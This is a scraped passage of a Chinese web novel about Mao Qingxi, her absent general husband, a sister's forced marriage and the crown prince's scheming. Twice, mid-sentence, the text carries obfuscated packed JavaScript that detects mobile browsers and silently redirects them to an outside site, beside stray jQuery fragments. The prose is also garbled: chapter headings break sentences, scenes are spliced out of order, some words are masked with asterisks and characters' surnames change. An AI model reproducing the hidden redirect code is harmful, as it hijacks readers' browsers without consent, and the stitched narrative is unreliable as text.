司玄苏有些为难。 “无妨。 第一百八十八章 祁府不是有我们的人吗?祁老夫人是贤王的姨母,或许可以利用一下。” 茅清兮说道。 “主子英明。属下这就去办。” 司玄苏应道。 “嗯。记住,一切小心行事,切不可打草惊蛇。” 茅清兮叮嘱道。 “是,主子。” 司玄苏领命而去。 正当茅清兮准备继续思索对策的时候, 忽然,一支羽箭从窗外疾射而来, “咄”的一声,深深地插在了窗框上,箭尾还在微微颤动,像是某种警告。 司玄苏脸色一变,身形一闪,挡在了茅清兮身前。 他迅速拔下羽箭,只见箭杆上绑着一个信笺。 他小心翼翼地打开信笺,快速浏览了一遍。 看完之后,他的脸色,瞬间变得铁青,像是蒙上了一层寒霜。 宋“主子,您看这个。” 司玄苏的声音忽然响起,带着一丝难以掩饰的急切。 茅清兮回神,只见司玄苏递上一张信笺,脸色铁青。 她心中一沉,接过信笺,迅速扫了一眼,眉头紧紧皱起。 “碧云楼那边,怕是出了乱子。” 司玄苏的声音像是从冰窖里捞出来的,每一个字都带着寒气, “有人指名要见雪苏,孙妈妈快要压不住场子了。” 雪苏,曾是名噪一时的碧云楼头牌。 两年前,随着司玄苏接管了听雨阁,雪苏这个身份也随之“病逝”。 为了不惹人怀疑,司玄苏一直对外宣称,带着雪苏寻遍名医。 巧的是,当初雪苏为了救宁王受了重伤,宁王不仅派了大夫,还送了无数珍稀药材,做足了姿态。 甚至还有人传,宁王有意纳雪苏为侧妃,不过是做戏罢了。 这些,自然都是为了掩人耳目,放出的**。 如今,雪苏已经“消失”两年有余,怎么会突然有人点名要见她? 而且,还把碧云楼的孙妈**到了山穷水尽的地步,不得不向已经“金盆洗手”的司玄苏求援? 这背后,怕是没那么简单。 茅清兮的眼神冷了下来。 孙妈妈虽然不知道司玄苏的底细,但对雪苏一向是高看一眼的。 她心里清楚,雪苏不是那种能随意摆布的人,但带来的收益也是实打实的。 更何况,在孙妈妈看来,雪苏求医问药,无非是欲擒故纵的把戏。 毕竟,越是神秘,越是让人牵肠挂肚。 雪苏不在的这些日子,名气不降反升,更印证了她的想法。 只是这次来的客人,却像是吃了秤砣铁了心,不见雪苏誓不罢休,甚至扬言要砸了碧云楼。 孙妈妈实在没了辙,才不得不向司玄苏求助。 “主子,我得走一趟。” 司玄苏的语气里透着一丝坚决。 “小心行事。” 茅清兮知道情况紧急,多说无益,只是沉声叮嘱。 司玄苏点点头,转身匆匆换了件衣裳,从后门快步离开。 茅清兮不放心,立刻让俞霜暗中跟随,以备不测。 处理完这些,茅清兮回了澜府。 她无心休息,径直去了练武场,打算看看长明的进度。 自从得了新剑,长明练武越发痴迷,简直到了废寝忘食的地步。 茅清兮对这个徒弟是越看越满意,不仅听话,还格外用功。 虽然性子倔了点,但在武学上,这股子韧劲儿,往往能走得更远。 日头偏西,练武场上,茅清兮正指点着长明的剑招,富峻风风火火地跑了进来。 “夫人!主子的信!” 他老远就喊开了,声音里透着喜气。 茅清兮一听,立刻收了剑势,三步并作两步迎了上去。 “快,给我看看。” 富峻笑眯眯地递上信,那小心翼翼的模样,仿佛捧着什么稀世珍宝。 信封上,“吾妻亲启”四个大字,笔力遒劲,一看就是冀容白的字迹。 茅清兮的唇角不自觉地微微翘起,睫毛轻颤,像是蝴蝶的羽翼,在夕阳的余晖下闪着光。 她小心地拆开信封,目光急切地在信纸上游走。 冀容白已经率军收复了两座城池,如今正整军备战,准备一举拿下剩下的四座。 信里,他没怎么提战事的艰辛,反而絮絮叨叨地问个不停: “娘子可有想我?” 简简单单的几个字,却让茅清兮的心头泛起一阵暖意,眼眶也微微湿润。 她仿佛能看到冀容白提笔写下这些字时的模样。 他一定是唇角含笑,桃花眼微微眯起,眼底尽是温柔。 修长的手指每写下一个“娘子”,都会在唇边轻轻呢喃,带着无尽的思念。 娘子……娘子……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159122|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 茅清兮的嘴角越翘越高,心里像是被什么东北陲得满满的,又酸又胀。 目光下移,落款前的几行字,让她微微一怔。 “无意中得了一把‘三寒霜’,乃剑仙独孤浪的佩剑,赠予娘子,聊表相思。” 署名是,“夫——容白”。 茅清兮还没反应过来,富峻已经捧着一把剑,恭恭敬敬地递了上来。 她一眼就认了出来,这正是那把传说中的“三寒霜”。 茅清兮伸手,缓缓拔出长剑。 剑出鞘,寒光闪,仿佛连周围的温度都骤然下降了几度。 剑身清亮如镜,在夕阳下泛着冷冽的光芒,薄而锋利,隐隐透着一股孤傲之气。 百年前,剑仙独孤浪,白衣胜雪,仗剑江湖,风华绝代。 世人称赞,“除却君身三寒霜,世间何人敢着素裳”,这便是“三寒霜”的由来。 这把剑,是无数江湖人心中的神话,据说早已失传。 没想到,冀容白竟然找到了,还送给了她。 茅清兮的心中涌起一股难以言喻的感动,握着剑柄的手指微微颤抖。 她当即在练武场中,舞起了一套剑法。 剑光闪烁,如银龙飞舞,空气中似乎都回荡着剑刃的清鸣。 一套剑法行云流水般使完,茅清兮眼中的光芒更盛。 “师父,太厉害了!” 周长明在一旁看得如痴如醉,忍不住大声喝彩。 茅清兮收剑回鞘,嘴角的笑意怎么也藏不住。 “你跟你们主子说,此刃我甚是中意,特别喜欢。” 她顿了顿,声音里带着一丝难掩的欢喜。 “夫人,大人不回复主上一封吗?主子一定望眼欲穿呢。” 富峻在一旁,适时地提醒道。 茅清兮一愣,心头像是被什么东西轻轻撞了一下,微微发热。 “嗯,我这就给他回信。” 她轻声应道,声音里带着一丝连自己都没察觉的娇羞。 回到书房,茅清兮在桌前坐定,铺纸研墨,准备回信。 可提笔悬腕,却迟迟不知该如何落笔。 写些什么好呢? 开头第一句,就让她犯了难。 在外人面前,她可以自然而然地称呼他“夫君”,可真要写在信里,却怎么也写不出来。 直呼其名? 未免显得太过生分。 第一百八十九章 写得太亲昵? 又觉得有些难为情。 茅清兮咬着笔杆,眉头紧锁,脑子里一片混乱。 早知如此,当初真不该答应富峻,说要给冀容白回信。 这下好了,骑虎难下。 她盯着空白的信纸,只觉得一个头两个大。 这可真是比跟钱云霄斗智斗勇还要让人头疼! 她无奈地叹了口气,觉得自己给自己挖了个大坑。 一下午的时间,她就坐在书案前,对着信纸发呆。 直到暮色四合,才勉强写了几行字,赶紧封好,交给富峻。 富峻自然不敢偷看,立刻将信送往云陲。 半个月后,北境,军中大帐。 一场重要的军事会议正在进行。 墨川捧着一封信,悄无声息地走了进来。 冀容白的目光,第一时间就被那封信吸引了过去。 当墨川将信放在他面前时,他唇角微微上扬,原本严肃的神情也变得柔和起来。 冀容白拿起信,先是认真地看了看信封。 然后,他轻“啧”了一声,似乎对“苏将军亲启”这几个字不太满意。 他修长的手指轻轻摩挲着信封,慢条斯理地拆开信,脸上的笑容越来越明显,几乎要咧到耳根。 帐内的将领们都面面相觑,不知道发生了什么事,让他们的将军如此失态。 唯有墨川,心知肚明这封信的来历,对自家主子的反应见怪不怪。 “咋了?西魏那些兔崽子投降了?老子可以回去搂婆娘了?” 王煊瞪大了眼睛,忍不住嚷嚷起来。 墨川嘴角微微抽搐,心想,还是别当着这么多人的面说了,免得坏了自家主子的形象。 “我说老王,你能不能有点出息?咱们鹰羽卫的名头一亮出来,西魏那些人还不吓得尿裤子?” 旁边一个将领笑着打趣。 “尿裤子算啥?老子当年在战场上,可是……” “行了,都别吵吵!” 冀容白抬手,轻轻敲了敲桌子,打断了他们的喧闹。 他小心翼翼地将信纸叠好,贴身放进怀里, “继续议事!” 将领们见状,立刻收敛了嬉笑的神色,继续讨论军情。 可冀容白说了没几句,突然搁笔不动。 他清了清嗓子,嘴角忍不住地上扬,语气里带着一丝炫耀: “咳,跟你们说个事儿,内人寄来书信了。” 墨川默默地别过脸,装作没听见。 众将领:“……” 这大帐里,谁还没个媳妇儿似的? 王煊更是忍不住翻了个白眼。笔尖在纸上沙沙作响,一行行清秀的字迹跃然纸上。 写完最后一个字,茅清兮轻轻搁笔,小心地将信纸叠好。 信里并无机密,不过是些寻常琐事。 比如,新收的徒儿甚是乖巧,比自家那不省心的弟弟强了百倍。 再如,费尽心思寻来的玉露珠终是到手,想来用不了多久,便能制出解药。 还有,便是那茅暮暮“如愿以偿”,即将嫁与刁然为妾。 细细数来,竟比冀容白的家书还长,着实有些啰嗦。 写完这些,茅清兮总觉得还缺点什么。 她拧着眉,盯着信纸出神。 对了,该问问他的身子。 战场凶险,也不知他毒发时,身边是否有人照料。 虽说沈大夫随行,可不知怎的,她心里总是不踏实。 记忆中,他初见时那苍白虚弱的模样,始终挥之不去。 茅清兮正欲再添几笔,紧闭的书房门突然被人猛地撞开。 “砰”的一声巨响,打断了她的思绪。 与此同时,一股浓烈的血腥味扑面而来,让她心中警铃大作。 茅清兮豁然起身,便见俞霜捂着腹部,踉踉跄跄地闯了进来。 “俞霜!” 茅清兮惊呼一声,快步上前,将她摇摇欲坠的身子扶住。 俞霜脸色煞白,冷汗淋漓,身体止不住地颤抖。 她紧紧攥着手中的青虹短刃,鲜血顺着刀尖滴落,在地板上晕染开来。 茅清兮不敢耽搁,扶着她来到床边,小心翼翼地将她安置好。 目光一扫,便看到了她腹部那道触目惊心的伤口。 皮肉外翻,深可见骨,鲜血如泉涌般,染红了大片衣衫。 茅清兮强压下心头的惊慌,从药箱中取出玉伤膏和绷带,手脚麻利地为她止血包扎。 “嘶……” 俞霜疼得倒吸一口凉气,却咬紧牙关,断断续续地开口: “主子……孔谋……在碧云楼……” 她声音虚弱,却带着不容忽视的急切: “他……试探玄苏……发现……” “玄苏现在落到他手里了?”茅清兮的心猛地一沉 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看来孔谋贼心不死,太子府刺杀一事后,依旧在暗中调查。 只是,他查到了什么? 听雨阁? 茅清兮冷笑一声。 这并非什么秘密,她也从未想过隐瞒。 除了听雨阁,她手中还有许多不为人知的产业,孔谋又岂能一一查清? 更何况,就算他查到了听雨阁,又能如何? 他应该清楚,自己与宋家早已貌合神离,甚至可以说是势同水火。 既然如此,他为何还要大费周章? 茅清兮的目光落在了远处的一棵树上,眼神锐利。 她忽然想起,孔谋在调查她的同时,很可能也知晓了她母亲的身份。 青鸾阁。 当年之事,孔谋与白苏道长截然不同,他对母亲并无印象。 可如今,他得知自己是青鸾阁阁主的外孙女,又会作何反应? 茅清兮自嘲一笑,这个身份,于她而言,不过是个虚名。 十五年来,青鸾阁对她不闻不问,那位所谓的阁主外祖父,更是从未露面。 但孔谋呢? 他会如何看待这个身份? 会像前世的钱云霄一样,试图利用她来掌控青鸾阁吗? 第一百九十章 茅清兮眸光一寒。 她早已不是前世那个任人摆布的茅清兮。 孔谋若想故技重施,恐怕要失望了。 只是,有一点,她始终想不明白。 以孔谋的精明,不可能不知道青鸾阁对她的漠视。 既然如此,他为何还要执着于此? 难道说,他所图谋的,并非青鸾阁本身,而是…… 茅清兮的思绪被一阵急促的鸽哨声打断。 她抬头望去,一只信鸽扑棱着翅膀,落在了她的肩头。 是司玄苏! 茅清兮连忙取下信筒,展开一看,悬着的心这才稍稍放下。 信中说,在五皇子府里过得舒坦,只是七皇子误以为他是名动京城的雪苏公子,不肯放他离开。 茅清兮轻叹一声,看来,眼下也只能静观其变了。 她收起信,转身回屋。 孔谋的下一步动作,她尚且无法预料。 但眼下,还有一件更重要的事,等着她去面对。 茅暮暮出嫁的日子,到了。 林家对这门亲事并不重视,更何况茅暮暮失贞一事,早已传得沸沸扬扬。 林家上下,对这位未来的妾室,都带着几分鄙夷。 尤其是刁父,得知茅暮暮无法生育后,更是觉得娶她进门,毫无用处。 因此,林家并未大肆操办,只简单布置了茅暮暮的院子。 吉时将至,茅暮暮独自坐在房中,脸色阴沉得可怕。 骆芸早已哭成了泪人,声音嘶哑。 她颤抖着双手,将一件大红嫁衣捧到茅暮暮面前。 这嫁衣,是她一针一线,为女儿缝制,期盼着她能风光大嫁。 可如今…… “拿开!” 茅暮暮猛地抬起头,眼中充满了怨毒: “我不穿这种东西!” “暮暮……” 骆芸哽咽着,想要劝说,却被茅暮暮粗暴地打断: “滚!都给我滚出去!” 她一把抓起桌上的茶盏,狠狠地砸向骆芸。 茶盏应声而碎,滚烫的茶水混着鲜血,顺着骆芸的脸颊流淌下来。 骆芸惊恐地捂着脸,跌跌撞撞地跑了出去。 茅暮暮死死咬着牙,脸色狰狞。 这时,两个侍卫走了进来,面无表情地开口: “时辰到了,该上路了。” 茅暮暮猛地抬头,狠狠地瞪着他们,眼中充满了不甘与愤怒。 可那两个侍卫却丝毫不为所动,上前架起她,便往外走。 “放开我!你们这些狗奴才,竟敢如此对我!” 茅暮暮尖叫着,拼命挣扎。 可她的反抗,在两个训练有素的侍卫面前,显得如此苍白无力。 她被强行拖出了房门,一路来到陆府后门。 那里,停着一顶小轿。 没有锣鼓喧天,没有宾客盈门,只有几个粗使婆子,面无表情地站在一旁。 茅暮暮看着那顶小轿,瞳孔骤然紧缩,脸色惨白如纸。 她想起当初,茅清兮被抬进洛国公府冲喜时,坐的也是这样一顶小轿。 那时,她站在人群中,看着那顶小轿,心中充满了得意与不屑。 她暗自发誓,绝不能像茅清兮那样,悄无声息地嫁人。 她要的,是十里红妆,满城瞩目。 如今,她“如愿以偿”。 只是,这“如愿”,却是如此的讽刺。 没有十里红妆,没有满城瞩目,只有一顶破旧的小轿,和无尽的**。 茅暮暮被强行塞进了轿中,轿帘落下,遮住了她绝望的眼神。 小轿缓缓起行,悄无声息地消失在了陆府后门,无人知晓,无人送行。“夫人,茅少爷求见。”绿绿的声音在院中响起。 茅清兮一怔,随即反应过来,绿绿口中的“茅少爷”,指的是茅飞羽。 “让他进来吧。”她淡淡吩咐了一句,视线仍旧停留在周长明身上。 此刻,周长明正在演练一套基础剑法。这是茅清兮今日才刚传授于他的。 这孩子悟性不错,学得很快,只是有些细节仍需纠正。茅清兮耐着性子,一遍遍为他指点。 “肩膀再低些。”茅清兮伸手,轻轻按在周长明的肩头,“你这一招起手便有些偏了,胳膊举到头顶,会导致出剑时腕力不足,容易被人抓住破绽。” 茅飞羽被绿绿领入院中时,正巧瞧见这一幕。 他悄无声息地退到边上,看着茅清兮悉心指点周长明的模样,心中五味杂陈。 茅清兮虽不善于教导,但对于周长明的每一个疑问,她都会细心解答,甚至不厌其烦地亲身示范。 茅飞羽在一旁看着,竟有些 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茅清兮冷冷打断他:“我早已与陆府断绝关系,茅少爷不必如此称呼。” “姐。”茅飞羽的眼眶更红了,一副欲言又止的模样。 茅清兮微微蹙眉:“茅少爷若是无事,还是请回吧。” 茅飞羽急忙说道:“我……我过来打听个事,姐姐可知道二姐的下落?” “茅暮暮?”茅清兮语气平淡,“她不是嫁到林府去了吗?若是人不见了,你应该去林府要人,而不是来我这里。” 她微微一顿,眼神变得锐利:“莫非,茅暮暮失踪了?” 茅飞羽点了点头:“二姐她……进林府的当晚便不见了。林府已经报了官,说是……说是有个采花贼,趁夜潜入,将二姐给……给掳走了。” 茅清兮静静地看着他,良久,才冷声问道:“所以,你来找我,是何用意?你莫非以为,茅暮暮的失踪,与我有关?” “不,不是!”茅飞羽连忙摆手否认,眼神却闪烁不定,“我只是……就想跟姐姐聊两句,是否知道二姐的去向……我绝无他意……” “茅飞羽!”茅清兮的声音陡然转冷,目光如利刃般刺向他,“你胆敢闯我澜府索要人质,可有真凭实据? 第一百九十一章 ” “我……我真的没有怀疑姐姐!”茅飞羽急切地辩解,脸涨得通红。 茅清兮的目光在他脸上逡巡,半晌,冷笑一声:“这么说,是茅文昭怀疑我?还是骆姨娘?又或者是林家的人?” 茅飞羽顿时哑口无言。 其实,是骆姨娘一口咬定茅暮暮的失踪与茅清兮脱不了干系,在宅院里撒泼打滚,寻死觅活。 茅文昭虽对骆姨娘早已厌烦至极,但见她哭得如此凄惨,又念及茅暮暮终究是自己的骨肉,便沉声下令,要茅清兮回府给个交代。 褚姨在一旁小声提醒道:“可是,大小姐不是已经脱离宋家了吗?老爷您的话,她怕是不会听的吧?” 茅文昭这才猛然醒悟,以茅清兮如今的性子,他的命令,恐怕早已形同虚设。 一时间,他竟有些骑虎难下。 就在这时,茅飞羽主动请缨,说要来澜府找茅清兮问个明白。 然而,他真正的目的,不过是想借机来澜府看看罢了。 “他们若当真怀疑我,尽可以去报官,让官府来抓我便是。”茅清兮冷声道。 茅飞羽低声嘟囔:“他们不敢……” 无非是没这个胆子罢了。 何况,林家也无意深究。 不过是失踪了一个不得宠的小妾,他们根本懒得理会。 茅文昭得知茅暮暮极有可能是被采花贼掳走后,脸色更是阴沉得可怕,只怕再传出什么有损颜面的流言蜚语。 要说这其中最伤心欲绝的,莫过于骆姨娘了。 可她一半的心思都扑在了对她冷淡至极的茅文昭身上,反倒对茅暮暮的失踪,显得不那么在意了。 茅清兮懒得再与茅飞羽多费唇舌,便示意绿绿送客。 谁知茅飞羽竟耍起了无赖,一屁股坐在地上,死死抱住凉亭的柱子,说什么也不肯走。 绿绿一时没了主意,为难地看向茅清兮。 “不必理会他。”茅清兮淡淡吩咐。 她转身继续指点周长明练剑,随后便径自去了书房,翻阅起医书来。 茅飞羽看着院中那个不知疲倦地重复着同一招式的身影,心中暗暗鄙夷。 这周长明究竟有何特别之处?竟能让姐姐如此看重,不仅收他为徒,还这般悉心教导。 不过是个来路不明的野小子,瞧着还有些呆头呆脑的。 茅飞羽目不转睛地盯着周长明,试图从他身上找出些与众不同之处。 然而,周长明却浑然不觉,仿佛将茅飞羽的目光彻底屏蔽在外,自顾自地沉浸在练剑之中。 直到日暮时分,他已是汗流浃背,这才缓缓收了剑势。 绮巧连忙递上一杯温茶:“长明少爷,喝口茶,歇息片刻吧。” 周长明接过茶盏,一饮而尽,随后提着剑,朝自己的屋子走去。 茅飞羽见状,连忙跟了上去。 周长明却对他视若无睹。 眼见茅飞羽要跟着进屋,周长明忽然停下脚步,反手将剑横在身前,拦住了他的去路。 “这地盘归我管。”他面无表情地说。 “我知道这是你的地盘,我不过是想进去瞧瞧。”茅飞羽一边说着,一边探头探脑地往屋内张望,似乎想看看周长明私下里究竟是何模样。 周长明实在无法理解他的举动,只是固执地重复道:“这地盘归我管,还请你离开。” “哎呀,你就让我看一眼嘛。”茅飞羽一边说着,一边趁周长明不备,猛地从他手臂下钻了过去。 周长明一愣,反应过来后,连忙追了进去。 茅飞羽已在屋内飞快地转了一圈,随即撇了撇嘴,一脸嫌弃:“我还以为姐姐待你有多好呢,这屋子也忒简陋了些,亏你还是个少爷呢。” 他语气酸溜溜的。 周长明闻言,脸色顿时沉了下来:“师父待我极好。” 茅飞羽哼了一声,故意挑拨道:“你不过是个徒弟罢了,我跟姐姐可是亲兄妹,你觉得,她心里更看重谁?” 周长明紧抿着唇,想要反驳,却一时不知该如何开口。 茅飞羽说的似乎没错。 可那日,师父在酒楼里对他说过的那番话,他始终铭记于心。 他思索了许久,才终于找到话来反驳:“师父亲自指点我修炼,还赠予我一把宝剑。” 他特地将‘寒月’剑拿出来,朝茅飞羽示意。 茅飞羽这回是真的觉得酸了。那剑是姐姐送的,自己都没有。晚膳时分,精致的菜肴陆续摆上桌,香气四溢。 茅飞羽毫不客气地一屁股坐下,恰好占了周长明平日用膳的位 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茅飞羽在她锐利的注视下,头越来越低,像是犯了错的孩子,等待着责罚。 富峻脸上挂着他那惯有的笑容,慢悠悠地走到茅飞羽身旁,看似随意地搭上了他的手臂。 紧接着,只见他脚下生风,几个起落,便带着茅飞羽消失在了茫茫夜色中。 紫姨在一旁静静地看着,脸上带着一抹淡淡的笑意,她深谙这对姐弟之间的纠葛,从不多言。 俞霜因伤势未愈,留在了府中静养。 而司玄苏则一直待在五皇子府,不曾离开。 茅清兮独自一人来到了听雨阁。 听雨阁内,灯火通明,人声鼎沸,与往日并无二致,仿佛外面的风云变幻都与它无关,依旧歌舞升平。 这几日,太子府那边一直风平浪静,孔谋也没有任何针对她的举动,似乎一切都恢复了平静。 不过,有一个天大的好消息传来—— 富峻竟然找到了寒星露解药中,至关重要的那一味药材,龙息珠! 茅清兮听闻,喜出望外,连忙追问他是如何寻得的。 第一百九十二章 富峻得意洋洋,开始讲述起来: “其实,早前主子**,咱们就开始四处搜寻寒星露的解药。那时候,几乎所有的药材都已备齐,只差这临门一脚,谁知……” 他故意卖了个关子,吊足了胃口。 “谁知什么?” 茅清兮的眉头微微蹙起,追问道。 富峻叹了口气,语气中带着一丝惋惜: “谁知,煮熟的鸭子,竟然飞了!” 茅清兮一怔,有些不明所以: “什么意思?” 富峻这才解释道: “沈大夫好不容易制出了解药,结果,当天夜里,药就从他房间里消失得无影无踪。你说怪不怪?” 茅清兮的脸色沉了下来: “被人偷了?” “除了这个,还能有别的解释?” 富峻耸了耸肩, “主子日盼夜盼,就指望着这解药能救命,结果却……唉!” “在秦府?” 茅清兮的声音冷了几分,眼中闪过一道寒光。 “可不是嘛!” 富峻压低了声音,神秘兮萱地说, “这偷药的和下毒的,搞不好就是一伙人!狼狈为奸!” 茅清兮的目光变得锐利: “查出给冀容白下毒的人了吗?” 富峻欲言又止,似乎有什么难言之隐。 茅清兮的声音沉了下来: “怎么,这事还有什么我不能知道的?冀容白不让你说?” “不不不,绝无此事!” 富峻连忙摆手,急切地解释道, “主子说了,他的事,夫人您什么都可以知道。只是……那下毒之人,就在秦府,而且……证据确凿。” “所以呢?” 茅清兮追问。 “主子查到这一步,就……就没再查下去了。” 富峻的声音越来越小,头也低了下去。 看来真是秦家的人! 除了冀国公,还会有谁如此丧心病狂? 寒星露解药的失踪,定然也是冀国公在背后搞鬼,这一点毋庸置疑。 冀国公明知冀容白并非自己的亲生儿子,这些年来,对他不管不顾,甚至暗中下毒手,简直令人发指。 可是,冀容白为何会选择隐忍? 以他的性格,断然不会吃这种哑巴亏。 莫非……他还在顾念那所谓的养育之恩? 可据她所知,冀容白自幼便跟随冀家二郎征战沙场,后来更是独自前往云陲,镇守边疆,与冀国公并无太多交集。 即便有过养育之恩,也早就在这接二连三的算计中消磨殆尽了,他又何必如此委屈自己? 茅清兮紧紧地抿着唇,小心翼翼地将龙息珠收好,心中暗自盘算。 如今,玉露珠和龙息珠都已到手,寒星露解药中最重要的三味药材,就只剩下最后一味星辰草了。 看来,她得抓紧时间了。 茅清兮立刻下令,让青羽暗卫加派人手,无论如何,也要尽快找到星辰草。 毕竟,冀容白离开京城,已经一个多月了。 留给她的时间不多了。 这日,茅清兮等待已久的太子府,终于有了动静。 一张烫金的请帖送到了她的手中,钱云霄邀请她在听雨阁一聚。 茅清兮展开请帖,目光逐渐变得冰冷。 钱云霄竟然将见面的地点选在了听雨阁,他究竟想做什么?打她的主意? 茅清兮心中冷笑,她倒要看看,这位太子殿下葫芦里到底卖的什么药。 她让俞霜在家中安心养伤,自己则带着富峻和周长明一同前往听雨阁。 她倒要会一会这位太子。 听雨阁内,钱云霄早已等候多时,身边跟着一个侍卫,还有孔谋。 茅清兮的目光在孔谋的身上稍作停留,便迅速移开,仿佛只是不经意的一瞥,并没有放在心上。 “小女子给太子殿下请安。” 茅清兮上前一步,微微屈身行礼,礼数周全。 钱云霄脸上带着温和的笑容,语气亲切: “清兮不必多礼,快快请起。” 他顿了顿,继续说道: “今日前来,一来是听闻听雨阁的菜肴颇有特色,想来尝尝鲜;二来,也是想与清兮你叙叙旧。” 茅清兮微微一笑,落落大方地回应: “太子殿下日理万机,还能惦记着听雨阁,实在是臣妇的荣幸。听雨阁不过是些寻常菜色,若能博得太子殿下欢心,那真是蓬荜生辉了。” 钱云霄看似随意地试探着听雨阁背后的主人,茅清兮并没有直接否认,只是含糊其辞。 她原本以为,钱云霄会继续旁敲侧击,打探更多关于她的事情。 不料,钱云霄却话锋一转,开始关心起她的近况: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170657|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “清兮,如今容白不在京中,你独自一人支撑着偌大的秦府,想必十分辛苦。若是有什么难处,尽管开口,孤定当竭力相助。” 孔谋站在一旁,静静地观察着这一切。 身为太子的幕僚,他深知钱云霄对茅清兮的心思。 他暗自思忖,储君之位,最忌讳的便是为情所困。 寻常女子,若是太子喜欢,纳入东宫便是。 可茅清兮不同,她是冀容白的人。 更何况,以他对茅清兮的观察,此女绝非池中之物,若是强行留在身边,恐怕会惹来无尽的麻烦。 想到这里,孔谋心中已经有了计较。 他必须想办法让太子打消这个念头,绝不能让茅清兮成为太子登上皇位的绊脚石。 钱云霄这边继续与茅清兮寒暄: “说起来,你小时候,记得老师之前领你来过这里。那时,你还跟在孤的身后……” 茅清兮对这段所谓的往事毫无印象,心中只觉得可笑。 茅文昭一向对她不喜,又怎会主动带她前往东宫? 这些无非是钱云霄为了拉近关系而编造的谎言罢了。 茅清兮保持着沉默,并没有接话。 钱云霄则自顾自地回忆着,仿佛真的沉浸在了那段美好的回忆中。 孔谋不动声色地观察着茅清兮的反应,见她神色淡漠,心中更加笃定了自己的想法。 就在这时,钱云霄忽然开口说道: “对了,清兮,孤为你引荐一个人。” 他转头看向身旁的孔谋,隆重介绍: “这位是孔谋,说起来,他还是你母亲的同门师兄呢。” “哦?” 茅清兮挑了挑眉,看向孔谋。 “你或许不知道,你母亲曾是青鸾阁的弟子。孔谋早年间也在青鸾阁修行,与你母亲师出同门。只是后来,两人下山后便分开了。如今见到你,他才回忆起这段往事。” 钱云霄补充道。 茅清兮看着孔谋,眼神中带着一丝玩味: “张先生,竟然是我母亲的师兄?这可真是……巧得很呐。” “是啊,清兮,你可得好好谢谢你这位师叔。” 钱云霄笑着说。 若非茅清兮早已知晓孔谋与她母亲素未谋面,单凭他们提及青鸾阁,她或许真的会相信这番说辞。 可如今,太子殿下这般大费周章,究竟意欲何为? 第一百九十三章 难道是想通过这层关系,来拉拢她? 为了她这个在青鸾阁中无足轻重的阁主外孙女,钱云霄和孔谋,究竟想从她这里得到什么? 茅清兮心中疑云密布,一时间竟有些看不透这其中的弯弯绕绕。“师叔。” 茅清兮从善如流,红唇轻启,吐出这两个字。 孔谋却像是被这称呼给烫着了,忙不迭地躬身: “臧夫人言重了,草民万万不敢当。” 他低垂着头,姿态谦卑至极。 茅清兮只是笑,那笑容如三月春风,却吹不进她眼底: “家母时常提起当年习武的趣事,总说师兄弟们个个身手不凡,对她照顾有加。可惜缘悭一面,未能一一拜会。今日得见师叔,也算了却一桩心愿。” 她顿了顿,向孔谋微微颔首: “清兮见过师叔。” 孔谋避之唯恐不及,连连侧身还礼,额角已然渗出细密的汗珠。 钱云霄在一旁看得津津有味,抚掌大笑: “好,好!你二人不必如此多礼。既是同门,便如一家人,何须拘泥这些虚礼。孔谋你也入座,今日不讲君臣,只叙家常。” 他声若洪钟,自带一股不容置疑的威仪。 茅清兮嘴角的笑意愈发玩味,只是那笑意始终不达眼底。直到酒过三巡,菜过五味,宾主尽欢,她亲自将太子与孔谋送出听雨阁,脸上的笑容才如潮水般退去,只剩一片冷冽。 富峻紧随其后,见状,压低声音问道: “夫人,这姓张的……当真与您母亲是同门?” 他总觉得此人来得蹊跷,浑身上下透着一股子古怪劲儿。 “是与不是,有何分别?重要的是,他们究竟图谋什么。” 茅清兮的声音很轻,似在回答富峻,又似在喃喃自语。 前世种种,如走马灯般在她眼前闪过。 她原以为,太子钱云霄是看中了青鸾阁在江湖上的势力,才刻意笼络。 可今日一番交锋,她却隐隐觉得,钱云霄想要的,或许并非青鸾阁本身,而是……她身上的某样东西。 究竟是什么? 上一世,钱云霄对她弃如敝履,是因为已经得到了那样东西?亦或是,她身上根本就无他所求? 可她区区一介孤女,身无长物,究竟有什么值得这位储君如此处心积虑? 茅清兮百思不得其解,只觉得心头烦乱如麻。她抬手揉了揉隐隐作痛的太阳穴,转身欲往楼上走。 就在这时,听雨阁外突然传来一阵喧嚣,打破了这凝重的氛围。 茅清兮脚步一顿,循声望去。 只见一群人正气势汹汹地往里闯,听雨阁的伙计们拼死拦阻,双方推搡拉扯,场面一片混乱。 她正欲开口询问,那群人中却有人眼尖,一眼瞥见了立于大堂角落的周长明,顿时爆发出刺耳的尖叫: “快看,那小崽子在那儿!就在听雨阁!” 声音尖锐刺耳,几乎要刺破人的耳膜。 茅清兮的目光落在了周长明身上。 只见他紧紧抱着一柄比他手臂还长的短剑,小脸煞白,死死盯着那群人,活像一只被逼到墙角的小兽。 “认识?” 茅清兮淡淡地问,语气听不出喜怒。 周长明抿紧了唇,轻轻点了点头: “他们……是卫府的人,平日里……待我不好。” 他的声音低若蚊蚋,带着一丝难以掩饰的怯懦和恐惧。 茅清兮微微挑眉,吩咐伙计: “让他们进来。” 她倒要看看,周长明的这些“家人”,究竟要唱哪一出。 伙计们得了令,立刻让开一条道。 那群人如狼似虎般冲了进来,直扑周长明。 当先一人,是个穿金戴银的妇人,身后跟着两个丫鬟、两个护院,个个都是一副趾高气扬的模样。 那妇人冲到周长明面前,指着他的鼻子便骂: 